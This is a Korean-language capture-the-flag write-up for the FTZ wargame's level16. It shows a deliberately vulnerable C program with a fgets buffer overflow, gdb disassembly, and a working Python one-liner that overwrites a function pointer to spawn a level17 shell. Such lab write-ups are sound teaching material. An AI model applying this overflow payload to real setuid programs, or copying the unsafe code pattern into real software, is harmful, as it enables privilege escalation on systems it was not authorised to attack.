FTZ level16

c0wb3ll ㅣ 2020. 3. 11. 07:23

FTZ level16

문제

[level16@ftz level16]$ cat hint


#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}   

[level16@ftz level16]$ 
  1. call()함수는 printit()함수로 연결되어 있다.
  2. buf는 20의 크기를 가진다.
  3. fgets()함수로 48byte크기만큼 buf에 입력한다.
  4. call() = printit()을 호출한다.

취약점

//#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

/*void printit() {
  printf("Hello there!\n");
}*/

main()
{ int crap;
  //void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

fgets()로 입력받는 값이 buf보다 크기 때문에 메모리를 덮을 수 있다.


풀이

(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:    sub    esp,0x4
0x08048528 <main+16>:    push   ds:0x80496e8
0x0804852e <main+22>:    push   0x30
0x08048530 <main+24>:    lea    eax,[ebp-56]
0x08048533 <main+27>:    push   eax
0x08048534 <main+28>:    call   0x8048384 <fgets>
0x08048539 <main+33>:    add    esp,0x10
0x0804853c <main+36>:    mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:    call   eax
0x08048541 <main+41>:    leave  
0x08048542 <main+42>:    ret    
0x08048543 <main+43>:    nop    
0x08048544 <main+44>:    nop    
0x08048545 <main+45>:    nop    
0x08048546 <main+46>:    nop    
0x08048547 <main+47>:    nop    
0x08048548 <main+48>:    nop    
0x08048549 <main+49>:    nop    
0x0804854a <main+50>:    nop    
0x0804854b <main+51>:    nop    
0x0804854c <main+52>:    nop    
0x0804854d <main+53>:    nop    
0x0804854e <main+54>:    nop    
0x0804854f <main+55>:    nop    
End of assembler dump.
(gdb) 
  1. 0x08048500에는 아마 printit의 주소가 들어있을 것이다.
  2. 이 값을 ebp-16으로 옮겨간다.
  3. fgets()함수를 통한 입력은 ebp-56에서부터 시작한다.
  4. ebp-16의 값(printit)을 eax로 옮겨간다.
  5. eax를 호출한다.

이 정도만 알면 여러가지 짓을 할 수 있을 것 같다.


시나리오

  1. ebp-16 즉 call()을 통해 printit을 호출하는 과정에서 ebp-16의 값을 shell함수의 위치로 바꾸기
  2. ret값을 shell()함수의 위치로 바꾸기 -> 요거 될 줄 알았는디 생각해보니까 call eax과정에서 0x41414141로 빠져서 Segmentation fault 오류가 발생한다. ㅎ;;

풀이

(gdb) x/x 0x08048500
0x8048500 <printit>:    0x83e58955
(gdb) 

역시나 0x08048500에는 printit함수가 존재했다.

image

그림으로 나타내면 이 정도 견적이 나올것이다.

익스코드

(gdb) i fu
All defined functions:

Non-debugging symbols:
0x0804832c  _init
0x08048354  __register_frame_info
0x08048364  system
0x08048374  __deregister_frame_info
0x08048384  fgets
0x08048394  __libc_start_main
0x080483a4  printf
0x080483b4  setreuid
0x080483d0  _start
0x080483f4  call_gmon_start
0x08048420  __do_global_dtors_aux
0x08048480  fini_dummy
0x08048490  frame_dummy
0x080484c0  init_dummy
0x080484d0  shell
0x08048500  printit
0x08048518  main
0x08048550  __do_global_ctors_aux
0x08048580  init_dummy
0x08048590  _fini
(gdb) 

shell함수의 위치는 0x080484d0이다. ebp-16의 값을 shell함수 값으로 바꿔주자.

[level16@ftz level16]$ (python -c "print 'A'*40 + '\xd0\x84\x04\x08'";cat) | ./attackme 
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)

성공적으로 level17의 권한을 획득했다.